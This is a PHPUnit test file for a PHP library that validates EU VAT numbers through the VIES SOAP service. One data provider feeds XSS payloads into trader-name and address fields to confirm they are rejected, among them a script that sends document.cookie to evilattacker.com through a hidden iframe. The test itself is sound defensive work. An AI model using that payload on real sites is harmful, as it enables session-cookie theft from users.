-
Notifications
You must be signed in to change notification settings - Fork 56
Expand file tree
/
Copy pathViesTest.php
More file actions
787 lines (719 loc) · 23.5 KB
/
Copy pathViesTest.php
File metadata and controls
787 lines (719 loc) · 23.5 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
<?php
declare (strict_types=1);
namespace DragonBe\Test\Vies;
use DragonBe\Vies\CheckVatResponse;
use DragonBe\Vies\HeartBeat;
use DragonBe\Vies\Vies;
use DragonBe\Vies\ViesException;
use DragonBe\Vies\ViesServiceException;
use PHPUnit\Framework\TestCase;
use SoapClient;
use SoapFault;
/**
* @coversDefaultClass \DragonBe\Vies\Vies
*/
class ViesTest extends TestCase
{
public function vatNumberProvider()
{
return [
['0123456749','0123456749'],
['0123 456 749','0123456749'],
['0123.456.749','0123456749'],
['0123-456-749','0123456749'],
];
}
/**
* @dataProvider vatNumberProvider
* @covers ::filterVat
*/
public function testVatNumberFilter($vatNumber, $filteredNumber)
{
$this->assertEquals($filteredNumber, Vies::filterVat($vatNumber));
}
protected function createdStubbedViesClient($response)
{
$stub = $this->getMockFromWsdl(dirname(__FILE__) . '/_files/checkVatService.wsdl');
$stub->expects($this->any())
->method('__soapCall')
->will($this->returnValue($response));
return (new Vies())->setSoapClient($stub);
}
/**
* @covers ::validateVat
* @covers ::setSoapClient
*/
public function testSuccessVatNumberValidation()
{
$response = (object) [];
$response->countryCode = 'BE';
$response->vatNumber = '0123.456.749';
$response->requestDate = '1983-06-24+23:59';
$response->valid = true;
$response->traderName = '';
$response->traderAddress = '';
$response->requestIdentifier = 'XYZ1234567890';
$response = $this
->createdStubbedViesClient($response)
->validateVat('BE', '0123.456.749')
;
$this->assertInstanceOf(CheckVatResponse::class, $response);
$this->assertTrue($response->isValid());
return $response;
}
/**
* @covers ::validateVat
* @covers ::setSoapClient
*/
public function testSuccessVatNumberValidationWithRequester()
{
$response = (object) [];
$response->countryCode = 'BE';
$response->vatNumber = '0123.456.749';
$response->requestDate = '1983-06-24+23:59';
$response->valid = true;
$response->traderName = '';
$response->traderAddress = '';
$response->requestIdentifier = 'XYZ1234567890';
$response = $this
->createdStubbedViesClient($response)
->validateVat('BE', '0123.456.749', 'PL', '1234567890')
;
$this->assertInstanceOf(CheckVatResponse::class, $response);
$this->assertTrue($response->isValid());
return $response;
}
/**
* @covers ::validateVat
* @covers ::setSoapClient
*/
public function testFailureVatNumberValidation()
{
$response = (object) [];
$response->countryCode = 'BE';
$response->vatNumber = '0123.ABC.749';
$response->requestDate = '1983-06-24+23:59';
$response->valid = false;
$response = $this
->createdStubbedViesClient($response)
->validateVat('BE', '0123.ABC.749')
;
$this->assertInstanceOf(CheckVatResponse::class, $response);
$this->assertFalse($response->isValid());
}
public function badCountryCodeProvider()
{
return [
['AA'],
['TK'],
['PH'],
['FS'],
];
}
/**
* Test to see the country code is rejected if not existing in the EU
*
* @dataProvider badCountryCodeProvider
* @covers ::validateVat
* @param $code
*/
public function testExceptionIsRaisedForNonEuropeanUnionCountryCodes($code)
{
$this->expectException(ViesException::class);
(new Vies())->validateVat($code, 'does not matter');
}
/**
* Test to see the country code is rejected if not existing in the EU
*
* @dataProvider badCountryCodeProvider
* @covers ::validateVat
* @expectedException \DragonBe\Vies\ViesException
* @param $code
*/
public function testExceptionIsRaisedForNonEuropeanUnionCountryCodesRequester($code)
{
$this->expectException(ViesException::class);
(new Vies())->validateVat('BE', '0123.456.749', $code, 'does not matter');
}
/**
* Test exception ViesServiceException is thrown after SoapFault exception
*
* @dataProvider vatNumberProvider
* @param $vat
*/
public function testExceptionIsRaisedSoapFault($vat)
{
$this->expectException(ViesServiceException::class);
$stub = $this->getMockFromWsdl(dirname(__FILE__) . '/_files/checkVatService.wsdl');
$stub->expects($this->any())
->method('__soapCall')
->will($this->throwException(new SoapFault("test", "myMessage")));
(new Vies())
->setSoapClient($stub)
->validateVat('BE', $vat)
;
}
/**
* @param CheckVatResponse $response
*
* @depends testSuccessVatNumberValidation
* @covers \DragonBe\Vies\CheckVatResponse::toArray
*/
public function testConvertObjectIntoArray($response)
{
$array = $response->toArray();
$this->assertSame('BE', $array['countryCode']);
$this->assertSame('0123.456.749', $array['vatNumber']);
$this->assertSame('1983-06-24', $array['requestDate']);
$this->assertSame('XYZ1234567890', $array['identifier']);
$this->assertTrue($array['valid']);
$this->assertEmpty($array['name']);
$this->assertEmpty($array['address']);
}
private function createHeartBeatMock($bool)
{
$heartBeatMock = $this->getMockBuilder(HeartBeat::class)
->setMethods(['isAlive'])
->getMock();
$heartBeatMock->expects($this->once())
->method('isAlive')
->will($this->returnValue($bool));
return $heartBeatMock;
}
/**
* @covers ::getHeartBeat
* @covers ::setHeartBeat
*/
public function testServiceIsAlive()
{
$vies = new Vies();
$vies->setHeartBeat($this->createHeartBeatMock(true));
$this->assertTrue($vies->getHeartBeat()->isAlive());
}
/**
* @covers ::getHeartBeat
* @covers ::setHeartBeat
*/
public function testServiceIsDown()
{
$vies = new Vies();
$vies->setHeartBeat($this->createHeartBeatMock(false));
$this->assertFalse($vies->getHeartBeat()->isAlive());
}
/**
* @covers ::getSoapClient
* @todo: SoapClient connects to european commission VIES service at initialisation
*/
public function testGettingDefaultSoapClient()
{
if (defined('HHVM_VERSION') && ! extension_loaded('soap')) {
$this->markTestSkipped('SOAP not installed');
}
$vies = new Vies();
$vies->setSoapClient($this->createdStubbedViesClient('blabla')->getSoapClient());
$soapClient = $vies->getSoapClient();
$this->assertInstanceOf(SoapClient::class, $soapClient);
}
/**
* @covers ::getSoapClient
*/
public function testDefaultSoapClientIsLazyLoaded()
{
if (defined('HHVM_VERSION') && ! extension_loaded('soap')) {
$this->markTestSkipped('SOAP not installed');
}
$wsdl = dirname(__FILE__) . '/_files/checkVatService.wsdl';
$vies = new Vies();
$vies->setWsdl($wsdl);
$this->assertInstanceOf(SoapClient::class, $vies->getSoapClient());
}
/**
* @covers ::setOptions
* @covers ::getOptions
*/
public function testOptionsCanBeSet()
{
$options = ['foo' => 'bar'];
$vies = new Vies();
$vies->setOptions($options);
$this->assertSame($options, $vies->getOptions());
}
/**
* @covers ::getWsdl
*/
public function testGettingDefaultWsdl()
{
$expected = sprintf('%s://%s%s', Vies::VIES_PROTO, Vies::VIES_DOMAIN, Vies::VIES_WSDL);
$this->assertSame($expected, (new Vies())->getWsdl());
}
/**
* @covers ::setWsdl
*/
public function testSettingCustomWsdl()
{
$wsdl = 'http://www.example.com/?wsdl';
$vies = new Vies();
$vies->setWsdl($wsdl);
$actual = $vies->getWsdl();
$this->assertSame($wsdl, $actual);
}
/**
* @covers ::setOptions
* @covers ::getOptions
*/
public function testSettingSoapOptions()
{
if (defined('HHVM_VERSION')) {
$this->markTestSkipped('This test does not work for HipHop VM');
}
$options = [
'soap_version' => SOAP_1_1,
];
$vies = new Vies();
$vies->setSoapClient($this->createdStubbedViesClient('blabla')->getSoapClient());
$vies->setOptions($options);
/**
* Skip for php >=8.1.0 as _soap_version is private now
*/
if (version_compare(PHP_VERSION, '8.1', '<')) {
$soapClient = $vies->getSoapClient();
$actual = $soapClient->_soap_version;
$this->assertSame($options['soap_version'], $actual);
}
$this->assertSame($options, $vies->getOptions());
}
/**
* @covers ::getOptions
*/
public function testDefaultOptionsAreEmpty()
{
$vies = new Vies();
$options = $vies->getOptions();
$this->assertIsArray($options);
$this->assertEmpty($options);
}
/**
* @covers ::getHeartBeat
*/
public function testGetDefaultHeartBeatWhenNoneSpecified()
{
$hb = (new Vies())->getHeartBeat();
$this->assertInstanceOf(HeartBeat::class, $hb);
$this->assertSame(Vies::VIES_DOMAIN, $hb->getHost());
$this->assertSame(Vies::VIES_PORT, $hb->getPort());
}
/**
* @covers ::listEuropeanCountries
*/
public function testRetrievingListOfEuropeanCountriesStatically()
{
$this->assertCount(Vies::VIES_EU_COUNTRY_TOTAL, Vies::listEuropeanCountries());
}
/**
* Data provider that will generate bad VAT ID's
*
* @return array
*/
public function badVatIdProvider(): array
{
return [
['UU', '1239874560'],
['AA', '1234567890'],
];
}
/**
* Validates exception it thrown if VAT checksum fails on
* provided country code and VAT ID
*
* @param string $countryCode
* @param string $vatId
*
* @dataProvider badVatIdProvider
* @covers ::validateVatSum
*/
public function testValidateVatSumToThrowException(
string $countryCode,
string $vatId
) {
$vies = new Vies();
$this->expectException(ViesException::class);
$vies->validateVatSum($countryCode, $vatId);
$this->fail('Expected exception was not thrown');
}
/**
* Test functionality to add optional arguments for VIES validation
*
* @covers ::addOptionalArguments
*/
public function testCanAddOptionalArgumentsWithValue()
{
$viesRef = new \ReflectionClass(Vies::class);
$addOptionalArguments = $viesRef->getMethod('addOptionalArguments');
if (\PHP_VERSION_ID < 80100) {
$addOptionalArguments->setAccessible(true);
}
$array = [];
$object = new Vies();
$addOptionalArguments->invokeArgs($object, [&$array, 'foo', 'bar']);
$addOptionalArguments->invokeArgs($object, [&$array, 'bar', 'baz']);
$addOptionalArguments->invokeArgs($object, [&$array, 'baz', 'foobar']);
$this->assertCount(3, $array);
}
/**
* Test functionality to add optional arguments for VIES validation
* only if they have value
*
* @covers ::addOptionalArguments
*/
public function testCanNotAddOptionalArgumentsWithoutValue()
{
$viesRef = new \ReflectionClass(Vies::class);
$addOptionalArguments = $viesRef->getMethod('addOptionalArguments');
if (\PHP_VERSION_ID < 80100) {
$addOptionalArguments->setAccessible(true);
}
$array = [];
$object = new Vies();
$addOptionalArguments->invokeArgs($object, [&$array, 'foo', '']);
$addOptionalArguments->invokeArgs($object, [&$array, 'bar', '']);
$addOptionalArguments->invokeArgs($object, [&$array, 'baz', '']);
$this->assertCount(0, $array);
}
/**
* A bad data provider for the optional arguments one can send
* with the request.
*
* @return array
*/
public function badOptionalInformationProvider(): array
{
return [
[
'<script>alert("xss");</script>',
'Ltd',
'Main Street 1',
'1000',
'Some Town',
],
[
'HackThePlanet',
'<script>document.write(\'<iframe src="http://evilattacker.com?cookie=\'
+ document.cookie.escape() + \'" height=0 width=0 />\');</script>',
'Main Street 1',
'1000',
'Some Town',
],
[
'HackThePlanet',
'Ltd',
"Main Street 1\x3c\x73\x63\x72\x69\x70\x74\x3e\x61\x6c\x65\x72\x74\x28\x22"
. "\x78\x73\x73\x22\x29\x3b\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e",
'1000',
'Some Town',
],
[
'HackThePlanet',
'Ltd',
'Main Street 1',
'1000',
'<s c r i p t>alert("xss");</s c r i p t>',
],
];
}
/**
* Test validation of optional trader information data
*
* @param string $traderName
* @param string $traderCompanyType
* @param string $traderStreet
* @param string $traderPostcode
* @param string $traderCity
*
* @covers ::addOptionalArguments
* @covers ::filterArgument
* @covers ::validateArgument
* @dataProvider badOptionalInformationProvider
*/
public function testRejectBadOptionalInformation(
string $traderName,
string $traderCompanyType,
string $traderStreet,
string $traderPostcode,
string $traderCity
) {
$viesRef = new \ReflectionClass(Vies::class);
$addOptionalArguments = $viesRef->getMethod('addOptionalArguments');
if (\PHP_VERSION_ID < 80100) {
$addOptionalArguments->setAccessible(true);
}
$array = [];
$object = new Vies();
$this->expectException(\InvalidArgumentException::class);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderName', $traderName]);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderCompanyType', $traderCompanyType]);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderStreet', $traderStreet]);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderPostcode', $traderPostcode]);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderCity', $traderCity]);
$this->fail('Expected exception was not thrown');
}
/**
* Generate valid optional information that should be validated
*
* @return array
*/
public function validOptionalInformationProvider(): array
{
return [
[
'Good Business',
'Ltd',
'Main Street 1',
'1000',
'Some Town',
],
];
}
/**
* Test validation of valid optional trader information data
*
* @param string $traderName
* @param string $traderCompanyType
* @param string $traderStreet
* @param string $traderPostcode
* @param string $traderCity
*
* @covers ::addOptionalArguments
* @covers ::filterArgument
* @covers ::validateArgument
* @dataProvider validOptionalInformationProvider
*/
public function testAllowValidOptionalInformation(
string $traderName,
string $traderCompanyType,
string $traderStreet,
string $traderPostcode,
string $traderCity
) {
$viesRef = new \ReflectionClass(Vies::class);
$addOptionalArguments = $viesRef->getMethod('addOptionalArguments');
if (\PHP_VERSION_ID < 80100) {
$addOptionalArguments->setAccessible(true);
}
$array = [];
$object = new Vies();
$addOptionalArguments->invokeArgs($object, [&$array, 'traderName', $traderName]);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderCompanyType', $traderCompanyType]);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderStreet', $traderStreet]);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderPostcode', $traderPostcode]);
$addOptionalArguments->invokeArgs($object, [&$array, 'traderCity', $traderCity]);
$this->assertCount(5, $array);
}
/**
* See if we can ensure invalid arguments are rejected from input
*
* @covers ::addOptionalArguments
* @covers ::filterArgument
* @covers ::validateArgument
*/
public function testBreakValidationOfOptionalArguments()
{
$viesRef = new \ReflectionClass(Vies::class);
$addOptionalArguments = $viesRef->getMethod('addOptionalArguments');
if (\PHP_VERSION_ID < 80100) {
$addOptionalArguments->setAccessible(true);
}
$this->expectException(\TypeError::class);
$array = [];
$object = new Vies();
$addOptionalArguments->invokeArgs($object, [&$array, 0, []]);
$this->assertSame([], $array);
}
/**
* Testing that the Soap constants are defined
*
* @link https://secure.php.net/soap_client
* @group issue-60
* @see https://github.com/DragonBe/vies/issues/60
*/
public function testSoapVersionsAreDefinedAsConstants()
{
$this->assertTrue(defined('SOAP_1_1'));
$this->assertTrue(defined('SOAP_1_2'));
$v1 = var_export(SOAP_1_1, true);
$v2 = var_export(SOAP_1_2, true);
$this->assertSame('1', $v1);
$this->assertSame('2', $v2);
}
/**
* Testing if the warning is not triggered by something else
*
* @link https://secure.php.net/soap_client
* @group issue-60
* @see https://github.com/DragonBe/vies/issues/60
*/
public function testSoapVersionsDoNotTriggerWarning()
{
$result = eval(file_get_contents(__DIR__ . '/_files/soapVersionCheck.code'));
$expected = "array (\n 0 => 1,\n 1 => 2,\n)";
$this->assertEquals($expected, $result);
}
/**
* A provider to test SOAP versions
* @return array
*/
public function soapVersionProvider(): array
{
return [
[SOAP_1_1, '1'],
[SOAP_1_2, '2'],
];
}
/**
* Test soap client version are defined
*
* @param int $soapVersion
* @param string $expectedValue
*
* @covers ::setSoapClient
* @covers ::getSoapClient
* @covers ::getWsdl
*
* @group issue-60
* @see https://github.com/DragonBe/vies/issues/60
* @dataProvider soapVersionProvider
*/
public function testSoapVersionsAreDefined(int $soapVersion, string $expectedValue)
{
$soapV = var_export($soapVersion, true);
$this->assertSame($expectedValue, $soapV);
$vies = new Vies();
$soapClient = $this->getMockBuilder(SoapClient::class)
->setConstructorArgs([$vies->getWsdl(), ['soap_version' => $soapVersion]])
->getMock();
$vies->setSoapClient($soapClient);
$this->assertInstanceOf(SoapClient::class, $vies->getSoapClient());
}
public function vatTestNumberProvider(): array
{
return [
'Belgian VAT ID that tests valid' => ['BE', '100', true],
'Irish VAT ID that tests invalid' => ['IE', '200', false],
'German VAT ID that tests valid' => ['DE', '100', true],
];
}
/**
* Testing the test VAT SOAP service
*
* @param string $countryCode
* @param string $vatNumber
* @param bool $expectation
* @throws ViesException
* @throws ViesServiceException
*
* @covers ::validateTestVat
* @covers ::validateVat
* @covers ::setWsdl
*
* @dataProvider vatTestNumberProvider
*/
public function testViesTestService(string $countryCode, string $vatNumber, bool $expectation)
{
$result = (new Vies())->validateVat($countryCode, $vatNumber);
$this->assertSame($expectation, $result->isValid());
}
/**
* Testing if we can catch soap exceptions when trying
* to make VIES test calls
*
* @throws ViesException
* @throws ViesServiceException
* @throws \ReflectionException
*
* @covers ::validateVat
* @covers ::validateTestVat
*/
public function testExceptionIsRaisedWhenSoapCallFailsForTestService()
{
$this->expectException(ViesServiceException::class);
$stub = $this->getMockFromWsdl(dirname(__FILE__) . '/_files/checkVatTestService.wsdl');
$stub->expects($this->any())
->method('__soapCall')
->will($this->throwException(new SoapFault("test", "myMessage")));
(new Vies())
->setSoapClient($stub)
->validateVat('BE', '100')
;
$this->fail('Expected exception was not raised');
}
/**
* Testing to see if we can split a combined
* VAT ID into country code and VAT number.
*
* @covers ::splitVatId
*/
public function testSplitVatId()
{
$vatId = 'BE1234567890';
$countryCode = 'BE';
$vatNumber = '1234567890';
$resultSet = (new Vies())->splitVatId($vatId);
$this->assertSame($countryCode, $resultSet['country']);
$this->assertSame($vatNumber, $resultSet['id']);
}
/**
* Testing to see if we allow test codes to be used
* for testing VIES services
*
* @covers ::allowTestCodes
* @covers ::areTestCodesAllowed
*/
public function testAllowingTestCodes()
{
$vies = (new Vies())->allowTestCodes();
$this->assertTrue($vies->areTestCodesAllowed());
}
/**
* Testing to see if we disallow test codes to be used
* for testing VIES services
*
* @covers ::disallowTestCodes
* @covers ::areTestCodesAllowed
*/
public function testDisallowingTestCodes()
{
$vies = (new Vies())->disallowTestCodes();
$this->assertFalse($vies->areTestCodesAllowed());
}
public function excludedCountryProvider()
{
return [
'United Kingdom (Brexit 2021-01-01)' => ['GB', '244795376', 'United Kingdom', '2021-01-01', 'Brexit'],
];
}
/**
* @param string $countryCode
* @param string $vatId
* @param string $country
* @param string $excluded
* @param string $reason
*
* @throws ViesException
* @throws ViesServiceException
*
* @covers ::validateVat
* @dataProvider excludedCountryProvider
*/
public function testExcludedCountryVatValidation($countryCode, $vatId, $country, $excluded, $reason)
{
$exceptionMessage = sprintf(
'Country %s is no longer supported by VIES services provided by EC since %s because of %s',
$country,
$excluded,
$reason,
);
$this->expectException(ViesServiceException::class);
$this->expectExceptionMessage($exceptionMessage);
(new Vies())->validateVat($countryCode, $vatId);
$this->fail('Expected exception was not thrown');
}
}